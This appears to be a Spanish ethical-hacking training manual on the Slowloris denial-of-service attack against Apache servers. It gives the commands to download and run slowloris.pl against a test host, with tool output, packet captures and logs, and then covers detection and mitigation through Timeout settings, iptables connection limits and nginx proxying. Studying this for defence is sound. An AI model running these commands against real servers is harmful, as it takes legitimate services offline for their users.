Manual de pentesting_sobre_ataque_a_servidores_apache_1.x_2.x_con_linux_y_perl_slowloris
1. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 1
3. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 3
Descubre desde cero como es Arte del Hacking de una visión de un White Hat.
El libro de PENTESTING y de SEGURIDAD INFORMATICA está diseñado para hacer pruebas de
vulnerabilidad de seguridad informática, robo de información y espionaje de datos, narrado a un
nivel técnico para gentes con conocimiento de nivel básico a medio del área de informática o
soporte técnico en sistemas.
Autor: Carlos Alberto Castruita Rodríguez
Director de WhiteHat - México
Con 20 años de experiencia en el área sistemas.
Certificado Hellermann Tyton
Certificado 3com Networks
Ethical Hacker Certificado
Contacto: carlos.castruita@whitehatmexico.tk
4. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 4
ATAQUE A SERVIDORES WEB
SLOWLORIS
Ataque de denegación de servicio para
Apache 1.x y 2.x
Se trata de un cliente HTTP capaz de provocar una denegación de servicio (DoS) a
servidores web con poco uso de ancho de banda.
Dicho cliente HTTP intenta abrir tantas conexiones como pueda al servidor web e intenta
mantenerlas abiertas tanto tiempo como sea posible. Periódicamente para evitar que el
servidor web cierre la conexión va añadiendo headers a la petición HTTP sin llegar a
finalizarla nunca.
Esto provoca que en determinados servidores web se vayan quedando las conexiones
abiertas hasta llegar al máximo, bloqueando las peticiones legítimas.
Entre los servidores web afectados se encuentra tanto Apache 1.x como Apache 2.x.
Vamos a ver cómo funciona el ataque, como detectarlo y como mitigar el riesgo.
Para usar slowloris necesitaremos los siguientes módulos de Perl:
perl -MCPAN -e 'install GetOpt::Long'
perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'
5. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 5
A continuación lo bajamos:
wget http://ha.ckers.org/slowloris/slowloris.pl
Procedemos a ejecutarlo en un host de prueba, como puede ser una máquina virtual:
# perl slowloris.pl -dns 10.10.10.126
CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
. . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
. .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
. . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
6. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 6
Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to 10.10.10.126:80 every 100 seconds with 1000 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Veremos como en seguida queda bloqueado el site, ya que todas las peticiones las coge y
retiene el slowloris. Mediante un netstat podremos verlo:
# netstat -tpan
(...)
tcp 232 0 10.10.10.126:80 88.11.210.64:48074 ESTABLISHED -
tcp 232 0 10.10.10.126:80 88.11.10.64:48180 ESTABLISHED -
tcp 232 0 10.10.10.126:80 88.11.10.64:48183 ESTABLISHED -
tcp 232 0 10.10.10.126:80 88.11.10.64:48189 ESTABLISHED -
tcp 232 0 10.10.10.126:80 88.11.10.64:48190 ESTABLISHED -
(...)
7. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 7
Si dejamos un tcpdump:
# tcpdump -nni bond0 -s 0 -w /tmp/slowloris.pcap 'port 80'
Podremos ver la petición que realiza:
GET / HTTP/1.1
Host: 10.10.10.126
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR
1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)
Content-Length: 42
Para finalizar la petición debería dejar una linea en blanco,por lo que sería envío de los
siguientes carácteres: “nrnr“. Pero, en el caso de slowloris, lo deja con “nr” y al
cabo de un tiempo vuelve introduce un header sin sentido para mantener la petición viva:
X-a: b
Volviendo a dejar la petición sin la linea en blanco, por lo que se mantiene y volviendo a
esperar para introducir lo mismo una y otra vez.
Al no finalizar la petición no encontraremos nada en los logs de apache, ni en el de error
ni en el de acceso, ya que toda petición hasta que no finaliza no se escribe en el log.
En el momento que apaguemos el apache o bien termine el ataque veremos en ellog de
error lineas similares a la siguiente:
[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
8. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 8
[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
[Mon Aug 24 14:49:21 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
[Mon Aug 24 14:49:21 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
Si dejamos un curl corriendo en un while true y finalizamos el ataque con un Control-
C veremos como el apache tarda unos segundos a recuperse:
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:40:38 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
real 0m0.071s
user 0m0.000s
sys 0m0.004s
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:30 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
real 0m51.483s
user 0m0.000s
sys 0m0.004s
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:53 GMT
Server: Apache
9. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 9
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
real 0m21.086s
user 0m0.000s
sys 0m0.004s
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:54 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
real 0m0.088s
user 0m0.000s
sys 0m0.000s
Se comenta que se puede reducir el impacto del ataque modificando la variable Timeout,
que por defecto esta muy alto:
Timeout 600
Esta parámetro afecta por separado (el mismo timeout para los tres, no es como total) a
los siguientes tiempos para la recepción de la petición:
• Tiempo que tarda en recibir una petición GET
• Tiempo entre la recepción de paquetes TCP en las peticiones POST y PUT
• Tiempo entre ACKs en las respuestas de la petición
Si dejamos el valor demasiado bajo estaremos finalizando legitimas, pero aún con un valor
más que justo, el problema del Slowloris seguiremos teniéndolo. Tal como se comenta en
la lista devel del apache el problema es de fondo:
10. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 10
Mitagation is the wrong approach.
We all know our architecture is wrong.
We have started on fixing it, but we need to finish the async input
rewrite on trunk, but all of the people who have hacked on it, myself
included have hit ENOTIME for the last several years.
Hopefully the publicity this has generated will get renewed interest
in solving this problem the right way, once and for all
It doesn’t need to be the simple mpm, or the event mpm, its not even
about MPMs, its about how the whole input filter stack works.
So.. i write yet another email about it… and disappear in the ether
of ENOTIME once again…..
Podríamos limitar el número de conexiones con iptables:
iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j DROP
Pero con esto tendríamos dos problemas:
1. Estaríamos bloqueando el acceso a clientes detrás de un proxy
2. El ataque seguiría siendo posible empleando más IPs pero menos conexiones por IP,
por ejemplo, desde una botnet.
Además, los sistemas IDS/IDP basados en firmas no resultan muy efectivos en este caso,
ya que las peticiones son perfectamente validas. Como mucho se podrían fijar en
el UserAgent, pero es muy fácilmente modificable.
Para el caso de lighttpd en modo proxy el apache se bloquea igual, por lo que seguimos
teniendo una denegación de servicio. Es de justicia destacar que lighttpd no está afectado
11. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 11
por Slowloris, simplemente es esta configuración en concreto en la que hay
una denegación de servicio porque el backend es vulnerable.
Por el contrario, si configuramos nginx en modo proxy este evita la denegación de servicio
al apache. Deberemos tener en cuenta que si tenemos el Apache con VirtualHosts
deberemos añadir headers adicionales entre el nginx y el Apache.